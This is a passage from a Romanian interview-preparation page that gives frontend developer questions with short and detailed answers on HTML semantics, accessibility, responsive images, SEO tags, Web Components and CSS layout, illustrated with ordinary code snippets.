...
Pregătire interviuri

100 de întrebări de interviu pentru Frontend Developer, cu răspunsuri

Întrebările care apar des la interviurile de Frontend Developer, fiecare cu un răspuns scurt, explicația pe larg și ce urmărește intervievatorul. Citește-le sau exersează cu răspunsurile ascunse.

Pagină coordonată de Tudor Andrei Dumitrescu, Senior Software Developer, fondatorul Academiei ProgramatorilorActualizat la

  • 100întrebări
  • 51junior
  • 35mid
  • 14senior
  • 148 minde citit
Întrebări de interviu Frontend Developer cu răspunsuri

Interviul pentru un post de Frontend Developer are de obicei câteva etape: o discuție inițială cu cineva din HR sau recrutare (motivație, așteptări, disponibilitate), unul sau două interviuri tehnice (întrebări despre HTML, CSS, JavaScript, framework-ul folosit în echipă și despre cum funcționează browserul) și adesea un exercițiu practic: o temă de acasă (o mică aplicație React care consumă un API) sau live coding, în care construiești o componentă ori scrii o funcție în fața intervievatorului. La final urmează frecvent o discuție cu team lead-ul sau managerul despre felul în care lucrezi în echipă.

La nivel de junior se urmărește dacă stăpânești bine fundamentele: HTML semantic, layout cu Flexbox și Grid, JavaScript fără framework (closures, this, promisiuni, event loop), lucrul cu DOM-ul și bazele React. La mid, intervievatorul vrea să vadă că înțelegi de ce funcționează lucrurile: randări inutile, managementul state-ului, performanță, accesibilitate, testare, compromisuri de arhitectură, și că poți explica deciziile pe care le-ai luat în proiecte reale.

Folosește pagina așa: citește întâi răspunsul scurt și încearcă să formulezi singur explicația, apoi compară cu răspunsul detaliat. Rulează exemplele de cod în consola browserului sau într-un proiect Vite, schimbă-le și observă ce se întâmplă. Întrebările sunt grupate pe subiecte și ordonate de la junior la senior, iar secțiunea „De ce se întreabă” îți arată ce verifică de fapt intervievatorul și unde greșesc des candidații.

HTML și semantică

1 Junior

Ce înseamnă HTML semantic și de ce contează?

Răspuns scurt: HTML semantic înseamnă să folosești elementul care descrie sensul conținutului (header, nav, main, article, button) în loc de div-uri generice. Ajută accesibilitatea, SEO-ul și mentenanța codului.

Un element semantic spune browserului, cititoarelor de ecran și motoarelor de căutare ce reprezintă conținutul, nu doar cum arată. <nav> e o zonă de navigare, <main> e conținutul principal (unul singur pe pagină), <article> e o bucată de conținut care are sens și scoasă din context, <aside> e conținut secundar, <footer> e subsolul secțiunii sau al paginii.

De ce contează:

  • Cititoarele de ecran (NVDA, VoiceOver) construiesc din aceste elemente „repere” (landmarks), iar utilizatorul poate sări direct la navigare sau la conținutul principal.
  • Motoarele de căutare înțeleg mai ușor structura, mai ales ierarhia de titluri h1–h6.
  • Elementele native vin cu comportament gratuit: un <button> primește focus cu Tab și se activează cu Enter și Space, un <div onclick> nu.
  • Codul devine mai ușor de citit pentru colegi decât o „supă de div-uri”.
HTML
<header>
  <nav aria-label="Principal">...</nav>
</header>
<main>
  <article>
    <h1>Titlul articolului</h1>
    <p>Conținut...</p>
  </article>
</main>
<footer>...</footer>

div și span rămân utile, dar ca containere fără sens, pentru stilizare sau grupare.

Ce urmărește intervievatorul: Verifică dacă scrii HTML gândit pentru utilizatori reali, nu doar pentru aspect. Greșeala tipică: să răspunzi doar „e pentru SEO” și să uiți complet accesibilitatea și comportamentul nativ.

2 Junior

Care e diferența dintre elementele block și inline? Dă exemple.

Răspuns scurt: Elementele block (div, p, h1, section) încep pe un rând nou și ocupă toată lățimea disponibilă; elementele inline (span, a, strong) stau în fluxul textului și ocupă doar cât le trebuie.

Fiecare element HTML are o valoare implicită pentru proprietatea CSS display. Cele mai importante:

  • block: div, p, h1–h6, section, ul, form. Încep pe un rând nou, se întind pe toată lățimea părintelui și respectă width, height, margin și padding pe toate laturile.
  • inline: span, a, strong, em, code. Stau pe același rând cu textul din jur. width și height sunt ignorate, iar margin și padding verticale nu împing rândurile vecine (padding-ul se vede, dar se suprapune peste alte rânduri).
  • inline-block: se așază în rând ca textul, dar acceptă dimensiuni ca un block. Util pentru butoane sau badge-uri.
CSS
a.buton {
  display: inline-block;
  padding: 8px 16px; /* acum padding-ul vertical contează în layout */
}

Elementele img, input și button sunt cazuri speciale („replaced” sau inline-block implicit), de aceea li se pot da dimensiuni deși stau în rând.

Un detaliu important: modelul de conținut din HTML nu mai vorbește de block/inline, ci de categorii (flow content, phrasing content). De exemplu, nu pui un <div> în interiorul unui <p>, pentru că parserul închide automat paragraful înainte de div și obții un DOM diferit de cel scris.

Ce urmărește intervievatorul: Intervievatorul verifică dacă înțelegi de ce „nu merge height pe un span”. Mulți candidați știu lista de elemente, dar nu știu ce proprietăți sunt ignorate la inline.

3 Junior

Ce face declarația <!DOCTYPE html> și la ce folosește meta viewport?

Răspuns scurt: DOCTYPE pune browserul în modul standard de randare, nu în „quirks mode”. Meta viewport îi spune browserului de pe mobil să folosească lățimea reală a ecranului, ca media queries să funcționeze corect.

<!DOCTYPE html> nu este un tag HTML, ci o instrucțiune pentru browser. Fără ea, browserul intră în quirks mode, un mod de compatibilitate cu paginile foarte vechi, în care unele reguli se calculează altfel (de exemplu modelul de box sau înălțimea procentuală). Cu DOCTYPE, pagina e randată în modul standard, la fel în toate browserele moderne.

Meta viewport rezolvă altă problemă. Browserele de pe telefon presupun implicit că pagina e făcută pentru desktop și o randează pe o lățime virtuală mare (de obicei în jur de 980px), apoi o micșorează. Rezultatul: text minuscul, iar media queries pentru ecrane mici nu se activează.

HTML
<!DOCTYPE html>
<html lang="ro">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Pagina mea</title>
</head>
  • width=device-width face ca lățimea viewport-ului să fie lățimea ecranului în pixeli CSS.
  • initial-scale=1 setează zoom-ul inițial la 100%.

Evită user-scalable=no sau maximum-scale=1: blochează zoom-ul, iar persoanele cu vedere slabă nu mai pot mări pagina, ceea ce e o problemă de accesibilitate. Tot în head merită menționate charset="utf-8" (pentru diacritice corecte) și atributul lang pe html, folosit de cititoarele de ecran pentru pronunție.

Ce urmărește intervievatorul: Arată dacă ai construit măcar o pagină responsivă de la zero. Greșeala tipică: candidatul nu știe de ce media queries „nu merg pe telefon” când lipsește meta viewport.

4 Junior

Când folosești <button> și când <a>?

Răspuns scurt: Folosești <a href> pentru navigare (duce la alt URL sau la o ancoră) și <button> pentru acțiuni pe pagina curentă (trimite formular, deschide un modal, adaugă în coș).

Regula simplă: dacă acțiunea schimbă URL-ul, e link; dacă face ceva fără să navigheze, e buton.

<a href="/cursuri"> vine cu comportamente pe care utilizatorii le așteaptă: deschidere în tab nou cu Ctrl+click sau click mijloc, copiere link, apare în istoric, este anunțat de cititorul de ecran ca „link”. <button> primește focus, se activează cu Enter și Space și e anunțat ca „buton”.

Greșeli frecvente:

  • <a href="#" onclick="deschideModal()">: pagina sare sus, apare # în URL, iar cititorul de ecran spune „link” deși nu navighează nicăieri.
  • <div onclick="...">: nu primește focus cu Tab, nu reacționează la tastatură și nu are niciun rol pentru tehnologiile asistive.
  • Un <button> într-un <form> are implicit type="submit". Dacă îl folosești pentru altceva (de exemplu „Arată parola”), pune type="button", altfel trimite formularul.
HTML
<form>
  <input type="password" id="parola">
  <button type="button" onclick="toggleParola()">Arată parola</button>
  <button type="submit">Autentificare</button>
</form>

Dacă designul cere ca un link să arate ca un buton, păstrezi elementul <a> și îl stilizezi cu CSS. Semantica rămâne corectă, doar aspectul se schimbă.

Ce urmărește intervievatorul: Verifică dacă gândești la tastatură și la cititoare de ecran, nu doar la mouse. Mulți candidați nu știu că butonul din formular este implicit de tip submit.

5 Junior

Cum construiești un formular accesibil și ce validare oferă HTML-ul nativ?

Răspuns scurt: Fiecare câmp are un <label> legat prin for/id, folosești tipul corect de input (email, number, tel) și atribute ca required, minlength sau pattern. Validarea nativă ajută utilizatorul, dar serverul trebuie să valideze oricum.

Baza unui formular accesibil este eticheta. Un <label for="email"> legat de <input id="email"> face ca cititorul de ecran să anunțe numele câmpului, iar click-ul pe text să pună focus pe input. Un placeholder nu înlocuiește label-ul: dispare când scrii și are adesea contrast slab.

HTML
<form>
  <label for="email">Email</label>
  <input id="email" name="email" type="email" required autocomplete="email">

  <label for="varsta">Vârstă</label>
  <input id="varsta" name="varsta" type="number" min="16" max="99">

  <fieldset>
    <legend>Nivel</legend>
    <label><input type="radio" name="nivel" value="junior"> Junior</label>
    <label><input type="radio" name="nivel" value="mid"> Mid</label>
  </fieldset>

  <button type="submit">Trimite</button>
</form>

Ce primești gratuit:

  • type="email", type="url", type="number" validează formatul și afișează tastatura potrivită pe mobil.
  • required, minlength, maxlength, min, max, pattern blochează trimiterea și afișează un mesaj.
  • autocomplete permite completarea automată (important pentru utilizatori și pentru conversie).
  • Pseudo-clasele :invalid și :user-invalid permit stilizarea câmpurilor greșite.

fieldset cu legend grupează opțiunile legate, ca butoanele radio. Pentru erori personalizate, leagă mesajul de câmp cu aria-describedby și marchează câmpul cu aria-invalid="true".

Important: validarea din browser se ocolește ușor (DevTools, cereri directe către API). E doar pentru experiența utilizatorului; validarea de securitate se face pe server.

Ce urmărește intervievatorul: Formularele apar în aproape orice aplicație, iar intervievatorul vrea să vadă că știi baza nativă înainte de librării. Greșeala tipică: label lipsă înlocuit cu placeholder și ideea că validarea din frontend e suficientă.

6 Junior

Care e diferența dintre <script>, <script async> și <script defer>?

Răspuns scurt: Un script simplu blochează parsarea HTML-ului până se descarcă și rulează. async îl descarcă în paralel și îl rulează imediat ce e gata, fără ordine garantată; defer îl descarcă în paralel și îl rulează după parsare, în ordinea din document.

Când parserul HTML întâlnește un <script src> obișnuit, se oprește, descarcă fișierul, îl execută și abia apoi continuă. De aceea, istoric, scripturile se puneau la finalul lui body.

  • async: descărcarea se face în paralel cu parsarea, iar execuția are loc imediat ce fișierul a sosit, întrerupând parsarea. Ordinea între mai multe scripturi async nu e garantată. Potrivit pentru scripturi independente: analytics, widget-uri.
  • defer: descărcarea e în paralel, execuția are loc după ce tot HTML-ul a fost parsat, înainte de evenimentul DOMContentLoaded, și respectă ordinea din document. Potrivit pentru codul aplicației, care are nevoie de DOM și depinde de alte scripturi.
  • type="module": modulele ES se comportă implicit ca defer. Poți adăuga și async pe un modul.
HTML
<head>
  <script defer src="/js/vendor.js"></script>
  <script defer src="/js/app.js"></script> <!-- rulează după vendor.js -->
  <script async src="https://example.com/analytics.js"></script>
</head>

Atributele async și defer au efect doar pe scripturi externe (cu src); pe un script inline clasic sunt ignorate. Cu defer poți pune scripturile în head, astfel încât browserul le descoperă devreme și le descarcă mai repede decât dacă ar fi la final, fără să blocheze afișarea.

Ce urmărește intervievatorul: Întrebarea testează înțelegerea modului în care browserul încarcă o pagină, cu impact direct pe performanță. Greșeala tipică: confuzia async/defer și ideea că async păstrează ordinea.

7 Junior

Ce rol are atributul alt la imagini și când îl lași gol?

Răspuns scurt: alt descrie imaginea pentru cititoarele de ecran și pentru cazul în care imaginea nu se încarcă. Pentru imagini pur decorative pui alt="", ca să fie ignorate de tehnologiile asistive.

Atributul alt este textul alternativ al imaginii. Îl citește cititorul de ecran, apare în locul imaginii dacă aceasta nu se încarcă și e folosit de motoarele de căutare pentru a înțelege imaginea.

Cum scrii un alt bun depinde de rolul imaginii:

  • Imagine informativă (grafic, fotografie relevantă): descrii informația, nu forma. „Grafic: numărul de utilizatori a crescut în fiecare lună din 2025” e mai util decât „grafic”.
  • Imagine funcțională (în interiorul unui link sau buton, fără text): descrii acțiunea. Un logo care duce la prima pagină are alt="Academia Programatorilor, prima pagină".
  • Imagine decorativă (fundal, ornament, iconiță lângă un text care spune deja același lucru): alt="". Atributul gol îi spune cititorului de ecran să o sară.
HTML
<img src="logo.svg" alt="Pagina principală">
<img src="val.svg" alt="">
<button><img src="cos.svg" alt="Adaugă în coș"></button>

Diferența dintre alt="" și lipsa atributului contează: fără alt, multe cititoare de ecran citesc numele fișierului („img underscore 2034 punct jpg”), ceea ce e mai rău decât nimic. Nu începe textul cu „Imagine cu...”, pentru că cititorul anunță deja că e o imagine. Pentru imaginile decorative poți folosi și CSS background-image, care nu apare deloc în arborele de accesibilitate.

Ce urmărește intervievatorul: Verifică atenția la accesibilitate, un subiect cerut tot mai des. Greșeala tipică: candidatul crede că alt e opțional sau pune același text generic pe toate imaginile.

8 Mid

Cum livrezi imagini responsive și optimizate? Explică srcset, sizes și <picture>.

Răspuns scurt: srcset oferă browserului mai multe variante ale aceleiași imagini, sizes îi spune cât de lată va fi afișată, iar browserul alege fișierul potrivit. <picture> se folosește pentru formate diferite (AVIF, WebP) sau pentru imagini diferite pe ecrane diferite.

Imaginile sunt de obicei cea mai mare parte din greutatea unei pagini. Un telefon nu are nevoie de o fotografie de 2400px.

srcset + sizes (aceeași imagine, rezoluții diferite):

HTML
<img
  src="curs-800.jpg"
  srcset="curs-400.jpg 400w, curs-800.jpg 800w, curs-1600.jpg 1600w"
  sizes="(max-width: 600px) 100vw, 50vw"
  width="800" height="450"
  alt="Ecranul unei lecții"
  loading="lazy" decoding="async">

400w înseamnă că fișierul are 400px lățime. sizes spune că pe ecrane sub 600px imaginea ocupă tot viewport-ul, altfel jumătate. Browserul înmulțește cu densitatea ecranului și alege cel mai mic fișier suficient.

picture (formate sau decupaje diferite, adică „art direction”):

HTML
<picture>
  <source type="image/avif" srcset="erou.avif">
  <source type="image/webp" srcset="erou.webp">
  <img src="erou.jpg" alt="Elev care programează" width="1200" height="600">
</picture>

Browserul ia primul source pe care îl suportă; img e varianta de rezervă și cel care se afișează efectiv.

Alte detalii care contează:

  • width și height permit browserului să rezerve spațiul înainte de încărcare și evită săriturile de layout (CLS).
  • loading="lazy" amână imaginile din afara ecranului. Nu îl pune pe imaginea principală vizibilă la încărcare, pentru că întârzie LCP; pentru ea poți folosi fetchpriority="high".

Ce urmărește intervievatorul: Intervievatorul vrea să vadă dacă te gândești la performanță reală pe mobil. Greșeala tipică: lazy loading pus pe toate imaginile, inclusiv pe cea principală, și lipsa dimensiunilor.

9 Mid

Ce elemente din <head> contează pentru SEO și pentru distribuirea pe rețele sociale?

Răspuns scurt: Contează title, meta description, link rel=canonical, meta robots, atributul lang și datele structurate JSON-LD. Pentru rețele sociale se folosesc tagurile Open Graph (og:title, og:image) și Twitter Card.

Din head, motorul de căutare și rețelele sociale extrag informații despre pagină:

  • <title>: titlul din rezultatele căutării și din tab. Unic pe fiecare pagină, cu informația importantă la început.
  • <meta name="description">: nu influențează direct poziția, dar e adesea fragmentul afișat sub titlu și influențează câți oameni dau click.
  • <link rel="canonical">: indică URL-ul „oficial” când același conținut e accesibil la mai multe adrese (parametri, variante cu și fără slash).
  • <meta name="robots" content="noindex">: exclude pagina din index (pagini de cont, rezultate de căutare internă).
  • Open Graph: og:title, og:description, og:image, og:url determină cum arată previzualizarea pe Facebook, LinkedIn sau WhatsApp.
  • JSON-LD: date structurate schema.org (de exemplu FAQPage, Course, Article) care pot produce rezultate îmbogățite.
HTML
<title>Întrebări de interviu Frontend Developer</title>
<meta name="description" content="100 de întrebări cu răspunsuri explicate.">
<link rel="canonical" href="https://example.ro/interviu/frontend/">
<meta property="og:title" content="Întrebări de interviu Frontend">
<meta property="og:image" content="https://example.ro/og/frontend.png">

În body contează și structura: un singur h1 descriptiv, ierarhie logică de titluri, link-uri cu text clar. Pentru aplicațiile SPA (randate doar în browser), conținutul apare abia după rularea JavaScript-ului; Google îl poate indexa, dar cu întârzieri și riscuri, iar crawlerele rețelelor sociale de obicei nu rulează JS. De aceea, paginile care trebuie găsite se randează pe server sau static.

Ce urmărește intervievatorul: Arată dacă înțelegi că frontend-ul influențează direct traficul produsului. Greșeala tipică: ideea că meta keywords mai contează sau ignorarea problemelor de SEO ale unei SPA.

10 Senior

Ce sunt Web Components și Shadow DOM? Când le-ai folosi în loc de componente React?

Răspuns scurt: Web Components sunt un set de standarde (Custom Elements, Shadow DOM, template) prin care creezi elemente HTML proprii, reutilizabile în orice framework. Shadow DOM izolează markup-ul și stilurile componentei de restul paginii.

Web Components înseamnă trei API-uri native:

  • Custom Elements: definești un tag nou, de exemplu <ap-rating>, cu o clasă care extinde HTMLElement și metode de ciclu de viață (connectedCallback, disconnectedCallback, attributeChangedCallback).
  • Shadow DOM: un sub-arbore DOM atașat elementului, izolat. CSS-ul din pagină nu intră în el (cu excepția proprietăților moștenite și a variabilelor CSS), iar CSS-ul din el nu iese.
  • template și slot: markup refolosibil și puncte în care utilizatorul inserează conținut propriu.
JavaScript
class ApBadge extends HTMLElement {
  connectedCallback() {
    const root = this.attachShadow({ mode: 'open' });
    root.innerHTML = `
      <style>span { padding: 2px 8px; border-radius: 4px; background: var(--badge-bg, #eee); }</style>
      <span><slot></slot></span>`;
  }
}
customElements.define('ap-badge', ApBadge);
// în HTML: <ap-badge>Nou</ap-badge>

Când au sens: un design system folosit de echipe cu framework-uri diferite (React, Angular, Vue, pagini server-side), widget-uri încorporate în site-uri străine, unde izolarea stilurilor e esențială, sau micro-frontend-uri.

Compromisuri: nu au un model de randare reactiv (nu există un echivalent al state-ului React fără o librărie precum Lit), randarea pe server e mai complicată (Declarative Shadow DOM a rezolvat o parte), formularele și accesibilitatea cer muncă în plus prin Shadow DOM (de exemplu ElementInternals pentru câmpuri de formular). React 19 a adus suport complet pentru custom elements (proprietăți și evenimente), versiunile anterioare transmiteau totul ca atribute string.

Ce urmărește intervievatorul: La senior se verifică dacă știi platforma web dincolo de framework și poți cântări compromisuri de arhitectură. Greșeala tipică: prezentarea Web Components ca înlocuitor universal pentru React.

CSS și layout

11 Junior

Explică box model-ul și ce face box-sizing: border-box.

Răspuns scurt: Fiecare element e o cutie formată din content, padding, border și margin. Implicit (content-box), width se aplică doar conținutului; cu border-box, width include și padding-ul și border-ul, ceea ce face dimensiunile mai previzibile.

Din interior spre exterior, o cutie CSS are:

  • content: zona textului sau a copiilor;
  • padding: spațiul interior, care preia fundalul elementului;
  • border: chenarul;
  • margin: spațiul exterior, transparent, care separă elementul de vecini.

Cu valoarea implicită box-sizing: content-box, lățimea totală vizibilă este width + padding + border:

CSS
.card {
  width: 300px;
  padding: 20px;
  border: 2px solid #ccc;
  /* content-box: ocupă 300 + 40 + 4 = 344px */
}
.card.bb {
  box-sizing: border-box;
  /* border-box: ocupă exact 300px, conținutul are 256px */
}

De aceea, aproape toate proiectele încep cu o regulă globală:

CSS
*, *::before, *::after { box-sizing: border-box; }

Așa, un element cu width: 50% și padding rămâne la 50%, fără calcule și fără să „spargă” layout-ul.

Un detaliu legat de margin: marginile verticale ale elementelor block adiacente se „suprapun” (margin collapsing): două paragrafe cu margin: 20px au 20px între ele, nu 40px. Fenomenul nu apare în containere flex sau grid și nici pentru marginile orizontale. În DevTools, panoul Computed arată vizual cele patru straturi, util când un element are altă dimensiune decât te aștepți.

Ce urmărește intervievatorul: E o întrebare de bază, iar intervievatorul vrea să vadă că poți explica de ce un element „iese” din container. Greșeala tipică: necunoașterea fenomenului de margin collapsing.

12 Junior

Cum funcționează specificitatea și cascada în CSS?

Răspuns scurt: Când mai multe reguli țintesc același element, câștigă cea cu specificitate mai mare: stilurile inline, apoi id-urile, apoi clasele, atributele și pseudo-clasele, apoi elementele. La egalitate, câștigă regula scrisă ultima.

Cascada decide ce valoare primește o proprietate când există conflicte. Ordinea criteriilor, simplificat: 1. Originea și importanța (!important bate declarațiile normale). 2. Straturile @layer (pentru cine le folosește). 3. Specificitatea selectorului. 4. Ordinea în cod: ultima regulă câștigă.

Specificitatea se calculează ca un triplet (id-uri, clase/atribute/pseudo-clase, elemente/pseudo-elemente):

CSS
p { color: black; }                 /* 0,0,1 */
.text { color: blue; }              /* 0,1,0 */
article p.text { color: green; }    /* 0,1,2 */
#intro { color: red; }              /* 1,0,0 */

Un singur id bate orice număr de clase, pentru că se compară coloană cu coloană, nu se adună. Stilul inline (style="...") bate toate selectorii din fișiere. Selectorul universal * și combinatorii (>, +, spațiu) nu adaugă specificitate. :is() și :not() iau specificitatea celui mai specific argument, iar :where() are specificitate zero, util pentru stiluri de bază ușor de suprascris.

Moștenirea e altceva: proprietăți ca color și font-family trec automat la copii, dar orice regulă aplicată direct pe copil bate valoarea moștenită, indiferent de specificitatea regulii de pe părinte.

În practică, ții specificitatea joasă și uniformă (în general o singură clasă), eviți id-urile în CSS și folosești !important doar pentru utilitare foarte clare.

Ce urmărește intervievatorul: Verifică dacă poți depana de ce „nu se aplică stilul”. Greșeala tipică: soluția de a adăuga !important peste tot în loc de a înțelege conflictul.

13 Junior

Care sunt valorile proprietății position și cum diferă între ele?

Răspuns scurt: static e implicit; relative mută elementul față de poziția lui normală; absolute îl scoate din flux și îl poziționează față de cel mai apropiat strămoș poziționat; fixed îl raportează la viewport; sticky se comportă relative până la un prag, apoi rămâne lipit.

  • static: valoarea implicită. top, left, z-index nu au efect.
  • relative: elementul rămâne în flux (spațiul lui e păstrat), dar poate fi deplasat vizual cu top/left. Cel mai des e folosit ca reper pentru copiii absolute.
  • absolute: elementul iese din flux (ceilalți se comportă ca și cum n-ar exista) și se poziționează față de containing block, adică cel mai apropiat strămoș cu position diferit de static (sau cu transform, filter). Dacă nu există, se raportează la documentul inițial.
  • fixed: ca absolute, dar raportat la viewport; rămâne pe loc la scroll. Atenție: un strămoș cu transform îl face să se raporteze la acel strămoș.
  • sticky: se comportă ca relative până când scroll-ul atinge pragul definit (top: 0), apoi rămâne lipit în containerul său de scroll.
CSS
.card { position: relative; }
.card .badge {
  position: absolute;
  top: 8px;
  right: 8px;
}
.antet-tabel th {
  position: sticky;
  top: 0;
  background: white;
}

Probleme frecvente cu sticky: nu funcționează dacă lipsește top (sau alt prag), dacă un strămoș are overflow: hidden sau auto (devine el containerul de scroll) sau dacă părintele e exact cât elementul, deci nu are unde să „lipească”. Pentru elemente care trebuie să fie deasupra altora, combinația cu z-index contează și depinde de contextele de stivuire.

Ce urmărește intervievatorul: Poziționarea e folosită zilnic (badge-uri, meniuri, headere lipicioase). Greșeala tipică: nu știi față de ce element se poziționează un absolute și de ce sticky „nu merge”.

14 Junior

Explică Flexbox: axa principală, axa secundară, justify-content și align-items.

Răspuns scurt: Flexbox așază copiii unui container pe o singură axă. justify-content îi aliniază pe axa principală (direcția dată de flex-direction), iar align-items pe axa perpendiculară.

Când pui display: flex pe un container, copiii direcți devin flex items și se așază pe axa principală: orizontal pentru flex-direction: row (implicit), vertical pentru column. Axa perpendiculară se numește axa secundară (cross axis).

  • justify-content distribuie elementele pe axa principală: flex-start, center, space-between, space-around, space-evenly.
  • align-items le aliniază pe axa secundară: stretch (implicit, se întind), center, flex-start, baseline.
  • gap pune spațiu între elemente, fără margini pe primul sau ultimul.
  • flex-wrap: wrap permite trecerea pe rândul următor.

Pe copii, proprietatea flex controlează cum cresc și se micșorează:

CSS
.bara {
  display: flex;
  align-items: center;
  gap: 12px;
}
.bara .logo { flex: 0 0 auto; }   /* nu crește, nu se micșorează */
.bara .cautare { flex: 1; }       /* ocupă tot spațiul rămas */
.bara .cont { margin-left: auto; } /* împins la dreapta */

flex: 1 înseamnă flex-grow: 1; flex-shrink: 1; flex-basis: 0%. O capcană clasică: un flex item are implicit min-width: auto, deci nu se micșorează sub lățimea conținutului său. Un text lung sau un pre „sparge” layout-ul până adaugi min-width: 0 pe acel item.

Când schimbi flex-direction în column, rolurile se inversează: justify-content lucrează vertical, align-items orizontal. Aici se încurcă mulți la interviu.

Ce urmărește intervievatorul: Flexbox e baza layout-ului modern, iar intervievatorul verifică dacă îl înțelegi sau îl folosești prin încercări. Greșeala tipică: confuzia între axe după schimbarea flex-direction și necunoașterea problemei cu min-width.

15 Junior

Care e diferența dintre px, em, rem, %, vw și vh?

Răspuns scurt: px e o unitate absolută; em e relativ la font-size-ul elementului curent (sau al părintelui, pentru font-size); rem e relativ la font-size-ul rădăcinii html; % e relativ la o dimensiune a părintelui; vw și vh sunt procente din lățimea și înălțimea viewport-ului.

  • px: pixel CSS, fix. Bun pentru borduri subțiri, umbre, detalii care nu trebuie să se scaleze.
  • em: relativ la font-size-ul elementului. Folosit în font-size, e relativ la părinte, de aceea se acumulează la elemente imbricate: o listă cu font-size: 1.2em în altă listă ajunge la 1.44 din original.
  • rem: relativ la font-size-ul elementului html (de obicei 16px implicit în browser). Nu se acumulează, deci e alegerea uzuală pentru tipografie și spațiere.
  • %: relativ la părinte, dar la ce dimensiune depinde de proprietate: width față de lățimea părintelui, iar, surprinzător, padding-top procentual tot față de lățimea părintelui.
  • vw / vh: 1% din lățimea, respectiv înălțimea viewport-ului.
CSS
html { font-size: 100%; }          /* respectă setarea utilizatorului */
h1 { font-size: clamp(1.75rem, 4vw, 3rem); }
.buton { padding: 0.5em 1em; }      /* se scalează cu textul butonului */
.erou { min-height: 100dvh; }

De ce contează rem pentru accesibilitate: dacă utilizatorul își mărește fontul implicit din setările browserului, textul definit în rem crește; cel definit în px nu.

Pe mobil, 100vh include zona de sub bara de adresă care se ascunde la scroll, așa că elementul pare prea înalt. Unitățile noi dvh (dinamic), svh (mic) și lvh (mare) rezolvă problema și sunt suportate în browserele moderne din 2023. clamp(min, preferat, max) permite dimensiuni fluide cu limite.

Ce urmărește intervievatorul: Arată dacă știi să faci interfețe care se adaptează și respectă setările utilizatorului. Greșeala tipică: necunoașterea faptului că em se acumulează și ignorarea problemei 100vh pe mobil.

16 Junior

Ce diferență e între display: none, visibility: hidden și opacity: 0?

Răspuns scurt: display: none scoate elementul complet din layout și din arborele de accesibilitate; visibility: hidden îl ascunde, dar îi păstrează spațiul; opacity: 0 îl face transparent, dar rămâne în layout și poate primi click și focus.

Cele trei proprietăți ascund vizual un element, dar efectele sunt foarte diferite:

  • display: none: elementul nu mai există pentru layout, nu ocupă spațiu, nu primește evenimente, nu poate primi focus și nu e citit de cititoarele de ecran. Nu poate fi animat cu tranziții clasice (deși browserele noi permit tranziții pe display cu transition-behavior: allow-discrete).
  • visibility: hidden: spațiul rămâne rezervat, elementul nu primește click și nici focus și nu e citit de cititoarele de ecran. Spre deosebire de display, un copil poate avea visibility: visible și se va vedea.
  • opacity: 0: elementul e doar transparent. Ocupă spațiu, primește click-uri, poate primi focus cu Tab și e citit de cititorul de ecran. Se animă foarte ieftin, de obicei pe GPU.
CSS
.meniu {
  opacity: 0;
  visibility: hidden;
  transition: opacity 200ms, visibility 200ms;
}
.meniu.deschis {
  opacity: 1;
  visibility: visible;
}

Combinația de mai sus e un tipar comun: opacitatea dă animația, iar visibility asigură că meniul închis nu poate fi accesat cu Tab sau click.

Există și un al patrulea caz: textul ascuns vizual, dar disponibil cititoarelor de ecran, util pentru etichete ale butoanelor cu iconițe. Se face cu o clasă de tip .sr-only (poziționare absolută, dimensiune de 1px, clip), nu cu display: none. Atributul HTML hidden echivalează implicit cu display: none.

Ce urmărește intervievatorul: Testează înțelegerea efectelor pe layout, evenimente și accesibilitate. Greșeala tipică: un modal închis cu opacity: 0 care încă blochează click-urile sau primește focus.

17 Junior

Ce sunt media queries și ce înseamnă abordarea mobile-first?

Răspuns scurt: Media queries aplică stiluri doar când sunt îndeplinite anumite condiții, de exemplu o lățime minimă a ecranului. Mobile-first înseamnă că scrii întâi stilurile pentru ecrane mici și adaugi cu min-width ajustările pentru ecrane mai mari.

O media query condiționează un bloc de reguli:

CSS
/* bază: mobil */
.grila { display: grid; grid-template-columns: 1fr; gap: 16px; }

@media (min-width: 640px) {
  .grila { grid-template-columns: repeat(2, 1fr); }
}
@media (min-width: 1024px) {
  .grila { grid-template-columns: repeat(3, 1fr); }
}

De ce mobile-first:

  • Stilurile de bază sunt cele mai simple (o coloană), iar ecranele mari adaugă complexitate, nu invers.
  • Telefoanele nu procesează reguli pe care apoi le anulează.
  • Te obligă să prioritizezi conținutul, pentru că pe ecran mic nu încape tot.

Pragurile (breakpoints) se aleg după conținut, nu după modele de telefoane: pui un prag acolo unde layout-ul începe să arate prost.

Media queries nu sunt doar despre lățime:

  • (prefers-color-scheme: dark) pentru tema întunecată;
  • (prefers-reduced-motion: reduce) pentru a reduce animațiile la cei sensibili la mișcare;
  • (hover: hover) și (pointer: coarse) pentru a diferenția mouse-ul de touch.

Pentru componente refolosibile, alternativa modernă sunt container queries (@container), suportate în browserele principale din 2023: componenta se adaptează după lățimea containerului în care stă, nu după ecran. Un card poate arăta altfel în bara laterală decât în conținutul principal, pe același ecran.

Ce urmărește intervievatorul: Responsive design e o cerință standard. Greșeala tipică: breakpoint-uri alese după dispozitive anume și ignorarea preferințelor utilizatorului precum reduced-motion.

18 Junior

Cum centrezi un element pe orizontală și pe verticală?

Răspuns scurt: Cel mai simplu, pe părinte pui display: grid și place-items: center, sau display: flex cu justify-content: center și align-items: center. Pentru centrare doar orizontală a unui block cu lățime fixă, margin: 0 auto.

Răspunsul corect depinde de context, iar intervievatorul apreciază dacă știi mai multe variante:

CSS
/* 1. Grid: cel mai scurt */
.parinte {
  display: grid;
  place-items: center;
  min-height: 100vh;
}

/* 2. Flexbox */
.parinte {
  display: flex;
  justify-content: center; /* orizontal */
  align-items: center;     /* vertical */
}

/* 3. Poziționare absolută, util pentru overlay-uri */
.parinte { position: relative; }
.copil {
  position: absolute;
  inset: 0;
  margin: auto;
  width: 200px;
  height: 100px;
}

/* 4. Doar orizontal, element block cu lățime */
.container { max-width: 1200px; margin: 0 auto; }

/* 5. Text sau elemente inline */
.titlu { text-align: center; }

Detalii care contează:

  • Centrarea verticală are nevoie ca părintele să aibă o înălțime mai mare decât copilul; fără min-height, părintele are exact înălțimea conținutului și nu se vede nicio centrare.
  • Varianta mai veche top: 50%; left: 50%; transform: translate(-50%, -50%) funcționează și pentru dimensiuni necunoscute, dar poate produce text ușor neclar la valori fracționare de pixeli.
  • Într-un container flex, margin: auto pe un copil îl centrează pe ambele axe.

Pentru aplicații moderne, grid sau flex e alegerea standard; restul sunt utile în cazuri speciale.

